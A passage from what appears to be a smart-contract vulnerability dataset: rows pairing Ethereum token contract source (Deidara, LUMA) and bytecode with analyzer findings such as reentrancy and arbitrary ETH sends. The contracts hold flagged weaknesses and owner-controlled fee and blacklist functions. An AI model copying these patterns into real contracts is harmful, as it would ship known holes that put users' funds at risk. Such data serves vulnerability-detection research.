078f27d0b0960efee660405160405180910390a1565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cc157600080fd5b80600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610dff57600080fd5b6102c65a03f11515610e1057600080fd5b5050506040518051905010151515610e2757600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610eec57600080fd5b6102c65a03f11515610efd57600080fd5b505050604051805190508111151515610f1557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632421101f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561101357600080fd5b6102c65a03f1151561102457600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff1614151561105057600080fd5b6110bf600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115eb9092919063ffffffff16565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636b7006d7600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156111a557600080fd5b6102c65a03f115156111b657600080fd5b5050507f6421fc04fd8e81a5c32406a5a5d2fde1ba83625f6383331c425a93c9a0ca4543816040518082815260200191505060405180910390a150565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124f57600080fd5b600254421015151561126057600080fd5b6112698161153a565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112c857600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156112ee57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113c957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840190508381101515156114c157fe5b8091505092915050565b60008282111515156114d957fe5b818303905092915050565b60008060008414156114f95760009150611518565b828402905082848281151561150a57fe5b0414151561151457fe5b8091505b5092915050565b600080828481151561152d57fe5b0490508091505092915050565b600061154461075a565b905061155b816006546114ad90919063ffffffff16565b6006819055506115ae8282600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115eb9092919063ffffffff16565b7ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5656006546040518082815260200191505060405180910390a15050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561169657600080fd5b6102c65a03f115156116a757600080fd5b5050506040518051905015156116b957fe5b5050505600a165627a7a7230582079a477ac9e7775ea1cf08230741e02f42cbd93ed85f13579039d8a4302e357020029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 176 |
0x4e67034b5488fd96ac3f95197de05e77f9318b65 | /**
*Submitted for verification at Etherscan.io on 2021-12-10
*/
//SPDX-License-Identifier: None
// Telegram: t.me/DeidaraToken
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=1000000;
string constant TOKEN_SYMBOL="DEIDARA";
string constant TOKEN_NAME="Deidara";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Deidara is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a2578063a9059cbb146102c2578063dd62ed3e146102e2578063f42938901461032857600080fd5b806370a0823114610215578063715018a6146102355780638da5cb5b1461024a57806395d89b411461027257600080fd5b8063293230b8116100c6578063293230b8146101b8578063313ce567146101cf5780633e07ce5b146101eb57806351bc3c851461020057600080fd5b806306fdde0314610103578063095ea7b31461014557806318160ddd1461017557806323b872dd1461019857600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b506040805180820190915260078152664465696461726160c81b60208201525b60405161013c9190611396565b60405180910390f35b34801561015157600080fd5b50610165610160366004611400565b61033d565b604051901515815260200161013c565b34801561018157600080fd5b5061018a610354565b60405190815260200161013c565b3480156101a457600080fd5b506101656101b336600461142c565b610374565b3480156101c457600080fd5b506101cd6103dd565b005b3480156101db57600080fd5b506040516006815260200161013c565b3480156101f757600080fd5b506101cd610754565b34801561020c57600080fd5b506101cd610789565b34801561022157600080fd5b5061018a61023036600461146d565b6107b6565b34801561024157600080fd5b506101cd6107d8565b34801561025657600080fd5b506000546040516001600160a01b03909116815260200161013c565b34801561027e57600080fd5b506040805180820190915260078152664445494441524160c81b602082015261012f565b3480156102ae57600080fd5b506101cd6102bd36600461148a565b61087c565b3480156102ce57600080fd5b506101656102dd366004611400565b6108a5565b3480156102ee57600080fd5b5061018a6102fd3660046114a3565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033457600080fd5b506101cd6108b2565b600061034a33848461091c565b5060015b92915050565b60006103626006600a6115d6565b61036f90620f42406115e5565b905090565b6000610381848484610a40565b6103d384336103ce8560405180606001604052806028815260200161174a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cc5565b61091c565b5060019392505050565b6009546001600160a01b031633146103f457600080fd5b600c54600160a01b900460ff16156104535760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461047e9030906001600160a01b03166104716006600a6115d6565b6103ce90620f42406115e5565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f59190611604565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057b9190611604565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec9190611604565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061061c816107b6565b6000806106316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610699573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106be9190611621565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561072d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610751919061164f565b50565b6009546001600160a01b0316331461076b57600080fd5b6107776006600a6115d6565b61078490620f42406115e5565b600a55565b6009546001600160a01b031633146107a057600080fd5b60006107ab306107b6565b905061075181610cff565b6001600160a01b03811660009081526002602052604081205461034e90610e79565b6000546001600160a01b031633146108325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089357600080fd5b600981106108a057600080fd5b600855565b600061034a338484610a40565b6009546001600160a01b031633146108c957600080fd5b4761075181610ef6565b600061091583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f34565b9392505050565b6001600160a01b03831661097e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044a565b6001600160a01b0382166109df5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044a565b6001600160a01b038216610b065760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044a565b60008111610b685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044a565b6000546001600160a01b03848116911614801590610b9457506000546001600160a01b03838116911614155b15610cb557600c546001600160a01b038481169116148015610bc45750600b546001600160a01b03838116911614155b8015610be957506001600160a01b03821660009081526004602052604090205460ff16155b15610c3f57600a548110610c3f5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161044a565b6000610c4a306107b6565b600c54909150600160a81b900460ff16158015610c755750600c546001600160a01b03858116911614155b8015610c8a5750600c54600160b01b900460ff165b15610cb357610c9881610cff565b47670de0b6b3a76400008110610cb157610cb147610ef6565b505b505b610cc0838383610f62565b505050565b60008184841115610ce95760405162461bcd60e51b815260040161044a9190611396565b506000610cf68486611671565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4757610d47611688565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc49190611604565b81600181518110610dd757610dd7611688565b6001600160a01b039283166020918202929092010152600b54610dfd913091168461091c565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e3690859060009086903090429060040161169e565b600060405180830381600087803b158015610e5057600080fd5b505af1158015610e64573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044a565b6000610eea610f6d565b905061091583826108d3565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f30573d6000803e3d6000fd5b5050565b60008183610f555760405162461bcd60e51b815260040161044a9190611396565b506000610cf6848661170f565b610cc0838383610f90565b6000806000610f7a611087565b9092509050610f8982826108d3565b9250505090565b600080600080600080610fa287611106565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd49087611163565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100390866111a5565b6001600160a01b03891660009081526002602052604090205561102581611204565b61102f848361124e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107491815260200190565b60405180910390a3505050505050505050565b60055460009081908161109c6006600a6115d6565b6110a990620f42406115e5565b90506110d06110ba6006600a6115d6565b6110c790620f42406115e5565b600554906108d3565b8210156110fd576005546110e66006600a6115d6565b6110f390620f42406115e5565b9350935050509091565b90939092509050565b60008060008060008060008060006111238a600754600854611272565b9250925092506000611133610f6d565b905060008060006111468e8787876112c7565b919e509c509a509598509396509194505050505091939550919395565b600061091583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc5565b6000806111b28385611731565b9050838110156109155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044a565b600061120e610f6d565b9050600061121c8383611317565b3060009081526002602052604090205490915061123990826111a5565b30600090815260026020526040902055505050565b60055461125b9083611163565b60055560065461126b90826111a5565b6006555050565b600080808061128c60646112868989611317565b906108d3565b9050600061129f60646112868a89611317565b905060006112b7826112b18b86611163565b90611163565b9992985090965090945050505050565b60008080806112d68886611317565b905060006112e48887611317565b905060006112f28888611317565b90506000611304826112b18686611163565b939b939a50919850919650505050505050565b6000826113265750600061034e565b600061133283856115e5565b90508261133f858361170f565b146109155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044a565b600060208083528351808285015260005b818110156113c3578581018301518582016040015282016113a7565b818111156113d5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075157600080fd5b6000806040838503121561141357600080fd5b823561141e816113eb565b946020939093013593505050565b60008060006060848603121561144157600080fd5b833561144c816113eb565b9250602084013561145c816113eb565b929592945050506040919091013590565b60006020828403121561147f57600080fd5b8135610915816113eb565b60006020828403121561149c57600080fd5b5035919050565b600080604083850312156114b657600080fd5b82356114c1816113eb565b915060208301356114d1816113eb565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561152d578160001904821115611513576115136114dc565b8085161561152057918102915b93841c93908002906114f7565b509250929050565b6000826115445750600161034e565b816115515750600061034e565b816001811461156757600281146115715761158d565b600191505061034e565b60ff841115611582576115826114dc565b50506001821b61034e565b5060208310610133831016604e8410600b84101617156115b0575081810a61034e565b6115ba83836114f2565b80600019048211156115ce576115ce6114dc565b029392505050565b600061091560ff841683611535565b60008160001904831182151516156115ff576115ff6114dc565b500290565b60006020828403121561161657600080fd5b8151610915816113eb565b60008060006060848603121561163657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166157600080fd5b8151801515811461091557600080fd5b600082821015611683576116836114dc565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116ee5784516001600160a01b0316835293830193918301916001016116c9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261172c57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611744576117446114dc565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b15bbdf149dd7fa25f69513767cae0a43675f22a63925dfd8c6dcc560988659c64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 177 |
0x088dfd01e4e279d9b9b89690dc1682c89fee1dcb | // * Send 0 ETH to contract address 0x088DFD01e4E279d9b9b89690dc1682C89FEE1DCB
// * (sending any extra amount of ETH will be considered as donations)
// * Use 120 000 Gas if sending
// website: https://token.alluma.io
// Token name: LUMA Token
// Symbol: LUMA
// Decimals: 8
//Allumas ecosystem is built to provide for a liquid cryptocurrency exchange addressing
//various user pain points while being supported by a six-layered security architecture,
//localized KYC & AML policies based on financial industry international best practices,
//and a multi-layered corporate governance structure.
//Alluma has chosen to deploy market leading CRM software
//which allows them to apply critical metrics to Allumas users such as lifetime
//value calculations (LTV) and net promoter scoring (NPS).
//This will help them identify the most engaged users on Alluma platform to ensure they are incentivized to continue driving high-value interactions on Alluma platform.
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract LUMA is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "LUMA";
string public constant symbol = "LUMA";
uint public constant decimals = 8;
uint256 public totalSupply = 500000000e8;
uint256 public totalDistributed = 50000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function LUMA () public {
owner = msg.sender;
value = 100e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
